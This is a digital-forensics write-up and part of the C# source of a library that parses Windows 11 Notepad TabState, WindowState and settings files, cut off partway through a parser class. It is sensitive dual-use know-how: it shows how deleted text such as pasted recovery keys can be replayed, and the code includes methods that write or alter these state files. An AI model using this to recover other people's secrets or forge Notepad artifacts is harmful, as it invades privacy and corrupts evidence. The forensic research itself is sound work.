5 | ### Forensics Question:
6 | What artifacts can be recovered from Windows Notepad now that it supports multiple tabs, saving session state, and multi-level undo?
7 | What evidence can be lost if you close Windows Notepad?
8 | What evidence can be lost if you open Windows Notepad?
9 |
10 | ### OS Version:
11 | - Microsoft Windows 11 23H2 Build 22631 (Original Tests)
12 | - Microsoft Windows 11 23H2 Build 22635 (Original Tests)
13 | - Windows Notepad Version 11.2407.9.0
14 | - Windows Notepad Version 11.2408.12.0
15 | - Windows Notepad Version 11.2409.9.0
16 |
17 | ### Tools:
18 | - ImHex
19 | - 010 Editor
20 | - Registry Editor
21 |
22 | The full research and tools to assist in artifact recovery can be found at [https://github.com/ogmini/Notepad-State-Library](https://github.com/ogmini/Notepad-State-Library)
23 |
24 | ## Background
25 | Windows Notepad is the default text editor included with standard installations of Windows 11, with updates available through the Windows App Store. It is commonly used for quickly editing and reading text files, as well as for taking notes. Microsoft has begun enhancing its features, adding support for multiple tabs, saving session states, and multi-level undo.
26 |
27 | To accommodate these new functions, Windows Notepad must store this information. We will explore the artifacts that can be recovered from the local filesystem, identify their locations, and explain how to read and understand them. Additionally, the behavior and relevance of these artifacts to digital forensics will be discussed.
28 |
29 | Seemingly empty Windows Notepad...
30 | 
31 |
32 | Analysis results in the below recovered text (I have found the SMOKING GUN) as typed
33 | 
34 |
35 | https://blogs.windows.com/windows-insider/2024/03/21/spellcheck-in-notepad-begins-rolling-out-to-windows-insiders/
36 | https://blogs.windows.com/windows-insider/2023/08/31/new-updates-for-snipping-tool-and-notepad-for-windows-insiders/
37 | https://blogs.windows.com/windows-insider/2023/01/19/tabs-in-notepad-begins-rolling-out-to-windows-insiders/
38 | https://blogs.windows.com/windows-insider/2021/12/07/redesigned-notepad-for-windows-11-begins-rolling-out-to-windows-insiders/
39 |
40 | ## Artifacts
41 |
42 | There are three types of artifacts to be aware of when examining Windows Notepad that can found in different locations.
43 |
44 | - [Tabstate](#tabstate) - Stores information specific open tabs in Windows Notepad
45 | - [Windowstate](#windowstate) - Stores information about the Windows Notepad window
46 | - [Settings](#settings) - Stores application wide settings
47 |
48 | The information below is current as of Windows Notepad Version 11.2408.12.0
49 |
50 | ### Tabstate
51 |
52 | > [!NOTE]
53 | > Location of Files
54 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState`
55 | >
56 | > Relevant Files
57 | > `*.bin` `*.0.bin` `*.1.bin`
58 |
59 | The tabstate files store information about the open tabs and their contents in Windows Notepad. The filenames are GUIDs and there are three types of *.bin files:
60 | - _File Tab_
61 | - These tabs have been saved to disk or have been opened from a file on disk.
62 | - These tabs can be in a Saved or Unsaved condition.
63 | - Unsaved condition is visually denoted by a dot to the right of the Tab name.
64 | 
65 | - They have a TypeFlag of 1.
66 | - _No File Tab_
67 | - These tabs have not been saved to disk and have not been opened from a file on disk. They only exist in the *.bin files.
68 | - These tabs can be in a New or Reopened condition.
69 | - Reopened condition is visually denoted by a dot to the right of the Tab name.
70 | 
71 | - They have a TypeFlag of 0.
72 | - _State File_
73 | - These are the *.0.bin and *.1.bin files and store extra information about the related matching GUID *.bin.
74 | - These files do not always exist and this behavior will be expanded upon in the [Behavior](#behavior) section.
75 | - They have a TypeFlag of 10 or 11.
76 |
77 | Integrity of the file is validated with CRC32 calculated and stored for the preceding bytes.
78 |
79 | I've created a [Notepad-Tabstate.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=Notepad-TabState.bt&type=0&sort=) for 010 Editor and a [Notepad-Tabstate.hexpat](/PatternFiles/Tabstate/Notepad-TabState.hexpat) for ImHex to assist in examining these files.
80 |
81 | #### File Tab Format
82 | |Name|Type|Notes|Saved Condition|
83 | |---|---|---|---|
84 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"|
85 | |Sequence Number|uLEB128|Always 0|
86 | |TypeFlag|uLEB128|Equal to 1|
87 | |FilePathLength|uLEB128|Length of the FilePath in bytes|
88 | |FilePath|UTF-16LE (Variable Length)|FilePath string with length determined from FilePathLength|
89 | |SavedFileContentLength|uLEB128|Size in bytes of the text file saved on disk|Will be 0 if all changes have been saved to the file|
90 | |EncodingType|1 byte|1 = ANSI / 2 = UTF16LE / 3 = UTF16BE / 4 = UTF8BOM / 5 = UTF8|
91 | |CarriageReturnType|1 byte|1 = Windows CRLF / 2 = Macintosh CR / 3 = Unix LF|
92 | |Timestamp|uLEB128|18-digit Win32 FILETIME|Will be 0 if all changes have been saved to the file|
93 | |FileHash|32 bytes|SHA256 Hash of the text file saved on disk|Will be 0 if all changes have been saved to the file|
94 | |:question:Unknown|2 bytes|[0x00, 0x01]|
95 | |SelectionStartIndex|uLEB128|Start position of text selection|
96 | |SelectionEndIndex|uLEB128|End position of text selection|
97 | |[Configuration Block](#configuration-block)|||
98 | |ContentLength|uLEB128|Length of the Content in bytes|Will be 0 if all changes have been saved to the file|
99 | |Content|UTF-16LE (Variable Length)|Text Content with length determined from ContentLength|Will not exist if all changes have been saved to the file|
100 | |Unsaved|1 byte|Unsaved flag|Will be 0 since the file has been saved|
101 | |CRC32|4 bytes|CRC32 Check|
102 | |[Unsaved Buffer Chunks](#unsaved-buffer-chunk)||Will exist if any changes to the file are unsaved|Will not exist if all changes been saved to the file|
103 |
104 | The image below displays an example of a file with no changes that is in the Saved condition.
105 | 
106 | The image below displays an example of a file with unsaved changes that is in the Unsaved condition.
107 | 
108 |
109 |
110 | #### No File Tab Format
111 | |Name|Type|Notes|New Condition|
112 | |---|---|---|---|
113 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"|
114 | |Sequence Number|uLEB128|Always 0|
115 | |TypeFlag|uLEB128|Equal to 0|
116 | |:question:Unknown|1 byte|[0x01]|
117 | |SelectionStartIndex|uLEB128|Start position of text selection|
118 | |SelectionEndIndex|uLEB128|End position of text selection|
119 | |[Configuration Block](#configuration-block)|||
120 | |ContentLength|uLEB128|Length of the Content in bytes|Will be 0|
121 | |Content|UTF-16LE (Variable Length)|Text Content with length determined from ContentLength|Will not exist|
122 | |Unsaved|1 byte|Unsaved flag|Will be 0
123 | |CRC32|4 bytes|CRC32 Check|
124 | |[Unsaved Buffer Chunks](#unsaved-buffer-chunk)||Values will exist for changes until they are flushed to Content when Windows Notepad is closed||
125 |
126 | The image below displays an example of a newly created tab in the New condition with text changes.
127 | 
128 | The image below displays an example of a tab in the Reopened condition with no text changes.
129 | 
130 | The image below displays an example of a tab in the Reopened condition with text changes.
131 | 
132 |
133 |
134 | #### State File Format
135 | |Name|Type|Notes|
136 | |---|---|---|
137 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"|
138 | |Sequence Number|uLEB128|Increments and highest number signifies the active state file|
139 | |TypeFlag|uLEB128|10 = No File Tab State / 11 = File Tab State|
140 | |:question:Unknown|1 byte|[0x00]|
141 | |BinSize|uLEB128|Size in bytes of the associated *.bin file|
142 | |SelectionStartIndex|uLEB128|Start position of text selection|
143 | |SelectionEndIndex|uLEB128|End position of text selection|
144 | |[Configuration Block](#configuration-block)|||
145 | |CRC32|4 bytes|CRC32 Check|
146 |
147 | The image below displays an example of the state file for a No File Tab. Take note of the TypeFlag.
148 | 
149 | The image below displays an example of the state file for a File Tab. Take note of the TypeFlag.
150 | 
151 |
152 | #### Configuration Block Format
153 | |Name|Type|Notes|
154 | |---|---|---|
155 | |WordWrap|1 byte|WordWrap flag|
156 | |RightToLeft|1 byte|RightToLeft flag|
157 | |ShowUnicode|1 byte|ShowUnicode flag|
158 | |Version/MoreOptions|uLEB128|Number of More Options in bytes that follow|
159 | |[More Options Block](#more-options-block)|||
160 |
161 | The image below shows the WordWrap option in Windows Notepad. This setting is specific to the Tab. There is also an application wide setting for WordWrap in the settings menu.
162 | 
163 | The image below shows the RightToLeft and ShowUnicode options in the Right-Click menu for Windows Notepad. These settings are specific to the Tab.
164 | 
165 |
166 | #### More Options Block Format
167 | |Name|Type|Notes|
168 | |---|---|---|
169 | |:question:Unknown| 1 byte|Spellcheck/Autocorrect? Do not seem to be flags. These were added to the file format when Spellcheck/Autocorrect feature was added|
170 | |:question:Unknown| 1 byte|Spellcheck/Autocorrect? Do not seem to be flags. These were added to the file format when Spellcheck/Autocorrect feature was added|
171 |
172 | #### Unsaved Buffer Chunk Format
173 |
174 | |Name|Type|Notes|
175 | |---|---|---|
176 | |Cursor Position|uLEB128|Cursor Position of where Deletion/Addition/Insertion begins. Insertion is signified by both a Deletion Action and Addition Action|
177 | |Deletion Action|uLEB128|Number of Characters deleted|
178 | |Addition Action|uLEB128|Number of Characters added|
179 | |Added Characters|UTF-16LE (Variable Length)|Characters added with length determined from Addition Action|
180 | |CRC32|4 bytes|CRC32 Check of Unsaved Buffer Chunk|
181 |
182 | The image below shows the Unsaved Buffer Chunk for pasting a block of text signified by an Addition Action of 11 showing 11 characters have been added. This is also similar to typing individual letters where you would have an Addition Action of 1.
183 | 
184 | The image below shows the Unsaved Buffer Chunk for deleting a block of text signified by a Deletion Action of 11 showing 11 characters have been removed. This is also similar to deleting individual letters where you would have a Deletion Action of 1.
185 | 
186 | The image below shows the Unsaved Buffer Chunk for overwriting a block of text signified by both a Deletion and Addition Action. In this case, 4 characters were deleted and 7 were added. This is also similar to inserting individual letters where you would have a Deletion and Addition Action of 1.
187 | 
188 |
189 | ### Windowstate
190 |
191 | > [!NOTE]
192 | > Location of Files
193 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState`
194 | >
195 | > Relevant Files
196 | > `*.0.bin` `*.1.bin`
197 |
198 | The windowstate files store information about opened windows of Windows Notepad and files are created for each opened window. Information is stored about:
199 |
200 | - Number of tabs
201 | - Order of tabs
202 | - Active tab
203 | - Window size
204 | - Window position
205 |
206 | Integrity of the file is validated with CRC32 calculated and stored for the preceding bytes.
207 |
208 | I've created a [Notepad-WindowState.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=Notepad-WindowState.bt&type=0&sort=) for 010 Editor and a [Notepad-WindowState.hexpat](/PatternFiles/Windowstate/Notepad-WindowState.hexpat) for ImHex to assist in examining these files.
209 |
210 | #### File Format
211 | |Name|Type|Notes|
212 | |---|---|---|
213 | |Signature / Magic Bytes|2 bytes|[0x4E, 0x50] "NP"|
214 | |Sequence Number|uLEB128||
215 | |BytesToCRC|uLEB128|Number of bytes to the CRC Check|
216 | |:question:Unknown|1 byte|[0x00]|
217 | |NumberTabs|uLEB128|Number of Tabs in Notepad|
218 | |GUID Chunks|16 bytes (Variable Number of Chunks)|GUID for each tab in view order that refer to the filename of the matching [Tabstate](#tabstate) file|
219 | |ActiveTab|uLEB128|Number of Active Tab in Notepad. 0 based index.|
220 | |TopLeftCoords_X|uINT32||
221 | |TopLeftCoords_Y|uINT32||
222 | |BottomRightCoords_X|uINT32||
223 | |BottomRightCoords_Y|uINT32||
224 | |WindowSize_Width|uINT32||
225 | |WindowSize_Height|uINT32||
226 | |:question:Unknown|1 byte|[0x00]|
227 | |CRC32|4 bytes|CRC32 Check|
228 | |[Slack Space](#slack-space)|Variable||
229 |
230 | The image below shows the Windowstate for Windows Notepad with three tabs and the middle tab being active.
231 | 
232 |
233 | #### Slack Space
234 | It appears that the windowstate files will never reduce in size. More testing is required to validate this or to discover what actions will cause them to be deleted or cleared out.
235 |
236 | There is a potential to recover complete or partial GUIDs from the slack space that can be tied back to past [Tabstate](#tabstate) files. These deleted files could possibly be recovered and examined. As Tabs are opened and closed, the slack space will get more and more convoluted and disarrayed as records are overwritten as the GUID Chunks section changes in size. Manual parsing is suggested and there is no guarantee of being able to recover anything of use.
237 |
238 | ### Settings
239 | > [!NOTE]
240 | > Location of Files
241 | > `%localappdata%\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings`
242 | >
243 | > Relevant Files
244 | > `settings.dat`
245 |
246 | The settings files store application wide settings and defaults. The `settings.dat` file is an application hive which can be opened with Registry Editor and other tools which can handle registry files. I've also updated the [RegistryHive.bt](https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=RegistryHive.bt&type=0&sort=) for 010 Editor. If a key doesn't exist that option hasn't been changed from the default or set. Research has already been published on this file format and a list of links can be found [here](#useful-links--information)
247 |
248 | Below is a screenshot of the application wide settings menu.
249 | 
250 |
251 | #### File Format
252 |
253 | | Type | Hex | Description |
254 | |---|---|---|
255 | |0x5f5e104|`04 E1 F5 05` | uINT32
256 | |0x5f5e105|`05 E1 F5 05` | uINT32
257 | |0x5f5e10b|`0B E1 F5 05` | byte (bool)
258 | |0x5f5e10c|`0C E1 F5 05` | string (NULL Terminated)
259 |
260 | Last 8 bytes of the value for each key is the 18-digit Win32 FILETIME Timestamp for the setting change.
261 |
262 | | KeyName | Type | Notes |
263 | |---|---|---|
264 | |AutoCorrect|0x5f5e10b| 0 = Off / 1 = On
265 | |FontFamily|0x5f5e10c| String
266 | |FontStyle|0x5f5e10c| String
267 | |GhostFile|0x5f5e10b| 0 = Open in a new window / 1 = Open content from a previous session
268 | |LocalizedFontFamily|0x5f5e10c| String
269 | |LocalizedFontStyle|0x5f5e10c| String
270 | |OpenFile|0x5f5e104| 0 = New Tab / 1 = New Window
271 | |SpellCheckState|0x5f5e10c| JSON: `{"Enabled":false,"FileExtensionsOverrides":[[".md",true],[".ass",true],[".lic",true],[".srt",true],[".lrc",true],[".txt",true]]}`
272 | |StatusBarShown|0x5f5e10b| 0 = Off / 1 = On
273 | |TeachingTipCheckCount|0x5f5e105| Unknown
274 | |TeachingTipExplicitClose|0x5f5e10b| Unknown
275 | |TeachingTipVersion|0x5f5e105| Unknown
276 | |Theme|0x5f5e104| 0 = System / 1 = Light / 2 = Dark
277 | |WindowPositionBottom|0x5f5e104|
278 | |WindowPositionHeight|0x5f5e104|
279 | |WindowPositionLeft|0x5f5e104|
280 | |WindowPositionRight|0x5f5e104|
281 | |WindowPositionTop|0x5f5e104|
282 | |WindowPositionWidth|0x5f5e104|
283 | |WordWrap|0x5f5e10b| 0 = Off / 1 = On
284 |
285 | The image below shows the OpenFile Key which is an example of the 0x5f5e104 Type.
286 | 
287 | The image below shows the TeachingTipVersion Key which is an example of the 0x5f5e105 Type.
288 | 
289 | The image below shows the AutoCorrect Key which is an example of the 0x5f5e10b Type.
290 | 
291 | The image below shows the FontFamil Key which is an example of the 0x5f5e10c Type.
292 | 
293 | The image below shows application hive viewed using Registry Viewer. Take note of the Data column as the last 8 bytes are the Timestamp for that key.
294 | 
295 |
296 | #### Useful Links / Information
297 |
298 | [Application Hives](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/filtering-registry-operations-on-application-hives)
299 |
300 | [Windows Store App Settings](https://lunarfrog.com/blog/inspect-app-settings)
301 |
302 | [Manipulating Windows Store App Settings](https://www.damirscorner.com/blog/posts/20150117-ManipulatingSettingsDatFileWithSettingsFromWindowsStoreApps.html)
303 |
304 | [UWP App Data Storage](https://helgeklein.com/blog/uwp-universal-windows-app-data-storage-admins/)
305 |
306 | [REGF Format](https://github.com/libyal/libregf/blob/main/documentation/Windows%20NT%20Registry%20File%20(REGF)%20format.asciidoc)
307 |
308 | [Registry Format](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md)
309 |
310 | ## Behavior
311 |
312 | Timestamp for the _File Tab_ for [Tabstate](#tabstate) files will be set to 0 when the file is saved to disk. It will have a valid value when the first change is made to the contents of the file. Any successive changes before saving the file will not result in the Timestamp being updated. This behavior persists over opening/closing Windows Notepad. In short, the Timestamp for the _File Tab_ indicates when changes were started to be made on the file and that they have not yet been saved to disk.
313 |
314 | The timestamps associated with each key in the application hive show us when those [Settings](#settings) were last changed.
315 |
316 | The sequence number is used to tell which *.0.bin or *.1.bin is active as updates alternate between the two. The file with the highest sequence number is the active one and are relevant to both _State Files_ and [Windowstate](#windowstate) files.
317 |
318 | The presence of _State Files_ can tell us a bit about the usage pattern of Windows Notepad. For a _File Tab_ with no changes, the _State Files_ are only created when Windows Notepad is closed. They are subsequently deleted when the _File Tab_ is made active. The sequence number for the _State Files_ will never increment and the *.1.bin file will be empty.
319 |
320 | For a _File Tab_ or _No File Tab_ with unsaved changes, the _State Files_ are only created when Windows Notepad is closed and no [Unsaved Buffer Chunks](#unsaved-buffer-chunk) were flushed. They are subsequently deleted when new changes are made or the file has been saved. The sequence number for the _State Files_ will increment everytime Windows Notepad is closed and is indicative of many cycles of opening and closing Windows Notepad while in the unsaved and flushed state.
321 |
322 | While Windows Notepad is open the _File Tab_ and _No File Tab_ can have [Unsaved Buffer Chunks](#unsaved-buffer-chunk) of changes that haven't been flushed. The [Unsaved Buffer Chunks](#unsaved-buffer-chunk) can be used to playback the changes to the text similar to a keylogger. Once Windows Notepad is closed or the file is saved, the [Unsaved Buffer Chunks](#unsaved-buffer-chunk) are flushed into the content.
323 |
324 | Opening a Tab adds another Tab GUID Chunk to the collection of Chunks and updates the number of bytes to the CRC32 in the [Windowstate](#windowstate) file. Any existing slack space in the file will get overwritten up to the end of the new CRC32.
325 |
326 | Closing a tab deletes the relevant Tab GUID Chunk from the collection of Chunks and updates the number of bytes to the CRC32. Slack space after the CRC32 may result from closing tabs. The files appear to never get smaller.
327 |
328 | The following actions will cause an update of the sequence number in the [Windowstate](#windowstate) files:
329 | - Resizing window
330 | - Moving window
331 | - Reordering/moving tabs
332 | - Closing tab(s)
333 | - Closing multiple tabs at once results in one action
334 | - Opening tab(s)
335 |
336 | Creating a new Windows Notepad window by dragging a tab outside of the original window will spawn new [Windowstate](#windowstate) files. As you close each extra window, it will prompt you to save any files in that window and the corresponding [Windowstate](#windowstate) files will be deleted. When the last window of Windows Notepad is closed, the final [Windowstate](#windowstate) files will not be deleted. Only the [Windowstate](#windowstate) files for the last closed Windows Notepad is kept.
337 |
338 | ## Scenarios
339 |
340 | For illustrative purposes, two scenarios are presented below to highlight what can be recovered along with the importance of proper preservation. In our first scenario, you have come across a computer with Windows Notepad open on the desktop showing a reminder to pickup milk and eggs. Knowing that Windows Notepad could be hiding artifacts important to your investigation, you run some analysis using Windows Notepad Parser to gather and parse them into a human readable format.
341 |
342 | 
343 |
344 | [Unsaved Buffer Chunks](#unsaved-buffer-chunk) have been detected and the tool was able to recreate the changes over time in a viewable GIF. The user's recovery keys were pasted into Windows Notepad and later deleted leaving only the reminder visible.
345 |
346 | 
347 |
348 | The above generated GIF matches the GIF below of the recorded actions performed by the user.
349 | 
350 |
351 | In the second scenario, we've come across a text file on the desktop called "Secret Note.txt". Knowing that possible artifacts could be altered if Windows Notepad was to be opened, you run some analysis using Windows Notepad Parser to gather and parse them into a human readable format.
352 |
353 | Unsaved content has been found in the [Tabstate](#tabstate) file reminding the user to pickup a pickaxe and dynamite for tonight. By comparing this unsaved content to the saved text file it is evident that this reminder was added to the original text stating that the gold is hidden behind a fake brick in the chimney.
354 |
355 | Screenshot of recovered unsaved content viewed with Timeline Explorer.
356 | 
357 |
358 | Screenshot of original text file viewed with 010 Editor.
359 | 
360 |
361 | GIF of the actions performed by the user. We can see the user adding text and not saving the changes.
362 | 
363 |
364 | ## Conclusion
365 |
366 | As we have seen, properly preserving artifacts should continue to be a prime concern. Just the act of opening, closing, or interacting Windows Notepad will cause changes in the [Tabstate](#tabstate) and [Windowstate](#windowstate) files. Closing Windows Notepad will cause the loss of any [Unsaved Buffer Chunks](#unsaved-buffer-chunk) which could have contained information such as a password typed by a user and later deleted. Opening Windows Notepad can result in the deletion of [Tabstate](#tabstate) and [Windowstate](#windowstate) files related to files that no longer exist or are inaccessible. A user could have had a text file opened from a USB stick that has gone missing. Changing the active tab or moving the cursor will also result in changes.
367 |
368 | Windows Notepad should not be overlooked as a potential source of evidence due to its ubiquity on Windows 11. It is an easy way for users to quickly save and type notes or have a scratch space that saves itself automatically. A potential criminal could be keeping a running list of victim names and locations in an unsaved tab in Windows Notepad. With the knowledge above, an investigator would know how to preserve and extract relevant artifacts from the file system. Possibly even being able to "replay" the changes and edits to the list.
369 |
370 | This research and corresponding tools will continued to be updated as changes are made that impact the artifacts. The latest version can be found at [https://github.com/ogmini/Notepad-State-Library](https://github.com/ogmini/Notepad-State-Library)
371 |
372 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/NotepadStateLibrary/NPTabState.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection.PortableExecutable;
2 | using System.Text;
3 |
4 |
5 | namespace NotepadStateLibrary
6 | {
7 | public class NPTabState
8 | {
9 | //TODO: Reorder these to a sensical order?
10 |
11 | ///
12 | ///
13 | ///
14 | public string FileName { get; private set; }
15 | ///
16 | /// Size of the associated bin file in bytes for the 0.bin or 1.bin file.
17 | ///
18 | public ulong BinSize { get; private set; }
19 | ///
20 | /// bytes of the described tab state file
21 | ///
22 | public byte[] bytes { get; set; }
23 | ///
24 | /// Windows (CRLF) = 0x01
25 | /// Macintosh (CR) = 0x02
26 | /// Unix (LF) = 0x03
27 | ///
28 | public byte[] CarriageReturnType { get; private set; } = null!;
29 | ///
30 | /// Content of the text file
31 | ///
32 | public byte[] Content { get; private set; } = null!;
33 | ///
34 | /// Length of the content
35 | ///
36 | public ulong ContentLength { get; private set; }
37 | ///
38 | /// Calculated CRC32
39 | ///
40 | public string ContentString
41 | {
42 | get { return Content == null ? string.Empty : Encoding.Unicode.GetString(Content).ReplaceLineEndings(); }
43 | }
44 | public byte[] CRC32Calculated { get; private set; } = null!;
45 | ///
46 | /// CRC32 from the file
47 | ///
48 | public byte[] CRC32Stored { get; private set; } = null!;
49 | ///
50 | /// ANSI = 0x01
51 | /// UTF16LE = 0x02
52 | /// UTF16BE = 0x03
53 | /// UTF8BOM = 0x04
54 | /// UTF8 = 0x05
55 | ///
56 | public byte[] EncodingType { get; private set; } = null!;
57 | ///
58 | /// SHA256 Hash of the text file saved on disk
59 | ///
60 | public byte[] FileHashStored { get; private set; } = null!;
61 | ///
62 | /// Length of the text file saved on disk
63 | ///
64 | public ulong FilePathLength { get; private set; }
65 | ///
66 | /// Path to the text file saved on disk
67 | ///
68 | public string FilePath { get; private set; } = null!;
69 | ///
70 | ///
71 | ///
72 | public ulong OptionCount { get; private set; }
73 | ///
74 | ///
75 | ///
76 | public byte[] Options { get; private set; } = null!;
77 | ///
78 | /// Right To Left Text Toggle
79 | ///
80 | public byte[] RightToLeft { get; private set; } = null!;
81 | ///
82 | /// Size of text file saved on disk
83 | ///
84 | public ulong SavedFileContentLength { get; private set; }
85 | ///
86 | /// End position of text selection
87 | ///
88 | public ulong SelectionEndIndex { get; private set; }
89 | ///
90 | /// Start position of text selection
91 | ///
92 | public ulong SelectionStartIndex { get; private set; }
93 | ///
94 | ///
95 | ///
96 | public ulong SequenceNumber { get; private set; }
97 | ///
98 | /// Show Unicode Toggle
99 | ///
100 | public byte[] ShowUnicode { get; private set; } = null!;
101 | ///
102 | /// Modified Time of Saved File
103 | ///
104 | public DateTime? Timestamp { get; private set; }
105 | ///
106 | /// 0 = Unsaved Tab
107 | /// 1 = Saved Tab
108 | /// 10 = NoFileTabState
109 | /// 11 = FileTabState
110 | /// Other = State File
111 | ///
112 | public ulong TypeFlag { get; private set; }
113 | ///
114 | /// Unsaved Toggle
115 | ///
116 | public byte[] Unsaved { get; private set; } = null!;
117 | ///
118 | /// Buffer of unsaved changes.
119 | ///
120 | public List UnsavedBufferChunks { get; private set; }
121 | ///
122 | /// WordWrap Toggle
123 | ///
124 | public byte[] WordWrap { get; private set; } = null!;
125 |
126 | ///
127 | /// Notepad Tab State Files
128 | ///
129 | /// Bytes of the state file
130 | public NPTabState(byte[] bytes, string fileName)
131 | {
132 | this.bytes = bytes;
133 | this.FileName = fileName;
134 |
135 | UnsavedBufferChunks = new List();
136 |
137 | ParseBytes();
138 | }
139 |
140 | ///
141 | /// Unsaved Tab
142 | ///
143 | ///
144 | ///
145 | ///
146 | ///
147 | ///
148 | public NPTabState(byte[] content, byte[] rightToLeft, byte[] showUnicode, List unsavedBufferChunks, byte[] wordWrap)
149 | {
150 | bytes = [];
151 | UnsavedBufferChunks = new List();
152 |
153 | Content = content;
154 | ContentLength = (ulong)content.Length / 2;
155 | SelectionStartIndex = ContentLength;
156 | SelectionEndIndex = ContentLength;
157 | RightToLeft = rightToLeft;
158 | SequenceNumber = 0;
159 | ShowUnicode = showUnicode;
160 | TypeFlag = 0;
161 | Unsaved = [0x01];
162 | UnsavedBufferChunks = unsavedBufferChunks;
163 | WordWrap = wordWrap;
164 |
165 | Save();
166 | }
167 |
168 | ///
169 | /// Saved Tab
170 | ///
171 | ///
172 | ///
173 | ///
174 | ///
175 | ///
176 | ///
177 | ///
178 | ///
179 | ///
180 | ///
181 | ///
182 | ///
183 | ///
184 | ///
185 | public NPTabState(ulong sequenceNumber, byte[] unsaved, string filePath, ulong savedFileContentLength, byte[] encodingType,
186 | byte[] carriageReturnType, DateTime timeStamp, byte[] fileHashStored, ulong selectionStartIndex, ulong selectionEndIndex, byte[] wordWrap,
187 | byte[] rightToLeft, byte[] showUnicode, byte[] content)
188 | {
189 | bytes = [];
190 | UnsavedBufferChunks = new List();
191 |
192 | TypeFlag = 1;
193 | SequenceNumber = sequenceNumber;
194 | Unsaved = unsaved;
195 | FilePathLength = (ulong)filePath.Length;
196 | FilePath = filePath;
197 | SavedFileContentLength = savedFileContentLength;
198 | EncodingType = encodingType;
199 | CarriageReturnType = carriageReturnType;
200 | Timestamp = timeStamp;
201 | FileHashStored = fileHashStored;
202 | SelectionStartIndex = selectionStartIndex;
203 | SelectionEndIndex = selectionEndIndex;
204 | WordWrap = wordWrap;
205 | RightToLeft = rightToLeft;
206 | ShowUnicode = showUnicode;
207 | ContentLength = (ulong)content.Length / 2;
208 | Content = content;
209 |
210 | Save();
211 | }
212 |
213 | ///
214 | /// State File
215 | ///
216 | ///
217 | ///
218 | ///
219 | ///
220 | ///
221 | ///
222 | ///
223 | public NPTabState(ulong sequenceNumber, ulong binSize, ulong selectionStartIndex, ulong selectionEndIndex, byte[] wordWrap,
224 | byte[] rightToLeft, byte[] showUnicode)
225 | {
226 | bytes = [];
227 | UnsavedBufferChunks = new List();
228 |
229 | SequenceNumber = sequenceNumber;
230 | BinSize = binSize;
231 | SelectionStartIndex = selectionStartIndex;
232 | SelectionEndIndex = selectionEndIndex;
233 | WordWrap = wordWrap;
234 | RightToLeft = rightToLeft;
235 | ShowUnicode = showUnicode;
236 |
237 | TypeFlag = (ulong)BinSize.WriteLEB128Unsigned().Length + (ulong)SelectionStartIndex.WriteLEB128Unsigned().Length + (ulong)SelectionEndIndex.WriteLEB128Unsigned().Length + 5;
238 |
239 | Save();
240 | }
241 |
242 | ///
243 | /// Writes content to a tab state file. Does not work on a 0.bin, 1.bin, or state file with unsaved buffer chunks.
244 | ///
245 | /// Unicode Encoding
246 | /// Bytes to be written to file
247 | public byte[] WriteContent(byte[] newContent)
248 | {
249 | ContentLength = ((ulong)newContent.Length / 2);
250 | Content = newContent;
251 | Unsaved = [0x01];
252 |
253 | Save();
254 |
255 | return bytes;
256 | }
257 |
258 | ///
259 | ///
260 | ///
261 | ///
262 | ///
263 | public byte[] WriteFilePath(string filePath, byte[] fileHashStored)
264 | {
265 | //TODO:
266 | FilePathLength = (ulong)filePath.Length;
267 | FilePath = filePath;
268 | FileHashStored = fileHashStored;
269 |
270 | Save();
271 |
272 | return bytes;
273 | }
274 |
275 | public byte[] WriteUnsavedBufferChunk()
276 | {
277 | UnsavedBufferChunk chk = new UnsavedBufferChunk(FileName, 0, 0, 1, new byte[] { 0x54, 0x00 }, new byte[] { 0x19, 0x37, 0x05, 0x7A }, new byte[] { 0x19, 0x37, 0x05, 0x7A });
278 | UnsavedBufferChunks.Add(chk);
279 |
280 | Save();
281 |
282 | return bytes;
283 | }
284 |
285 | private void ParseBytes()
286 | {
287 | using (MemoryStream stream = new MemoryStream(bytes))
288 | {
289 | using (BinaryReader reader = new BinaryReader(stream))
290 | {
291 | string hdrType = Encoding.ASCII.GetString(reader.ReadBytes(2));
292 |
293 | if (hdrType == "NP") //[0x4E, 0x50]
294 | {
295 | SequenceNumber = reader.ReadLEB128Unsigned();
296 | TypeFlag = reader.ReadLEB128Unsigned();
297 |
298 | switch (TypeFlag)
299 | {
300 | case 0: //Unsaved - buffer file
301 | {
302 | CRC32Check c = new CRC32Check();
303 | c.AddBytes(TypeFlag);
304 |
305 | var un1 = reader.ReadBytes(1); //Unknown / Delimiter / 0x00
306 | c.AddBytes(un1);
307 |
308 | SelectionStartIndex = reader.ReadLEB128Unsigned();
309 | c.AddBytes(SelectionStartIndex);
310 |
311 | SelectionEndIndex = reader.ReadLEB128Unsigned();
312 | c.AddBytes(SelectionEndIndex);
313 |
314 | WordWrap = reader.ReadBytes(1);
315 | c.AddBytes(WordWrap);
316 |
317 | RightToLeft = reader.ReadBytes(1);
318 | c.AddBytes(RightToLeft);
319 |
320 | ShowUnicode = reader.ReadBytes(1);
321 | c.AddBytes(ShowUnicode);
322 |
323 | OptionCount = reader.ReadLEB128Unsigned();
324 | c.AddBytes(OptionCount);
325 |
326 | //Read Extra Options
327 | Options = reader.ReadBytes((int)OptionCount);
328 | c.AddBytes(Options);
329 |
330 | ContentLength = reader.ReadLEB128Unsigned();
331 | c.AddBytes(ContentLength);
332 |
333 | Content = reader.ReadBytes((int)ContentLength * 2);
334 | c.AddBytes(Content);
335 |
336 | Unsaved = reader.ReadBytes(1);
337 | c.AddBytes(Unsaved);
338 |
339 | CRC32Stored = reader.ReadBytes(4);
340 | CRC32Calculated = c.CRC32;
341 | }
342 | break;
343 | case 1: //Saved - buffer file
344 | {
345 | CRC32Check c = new CRC32Check();
346 | c.AddBytes(TypeFlag);
347 |
348 | FilePathLength = reader.ReadLEB128Unsigned();
349 | c.AddBytes(FilePathLength);
350 |
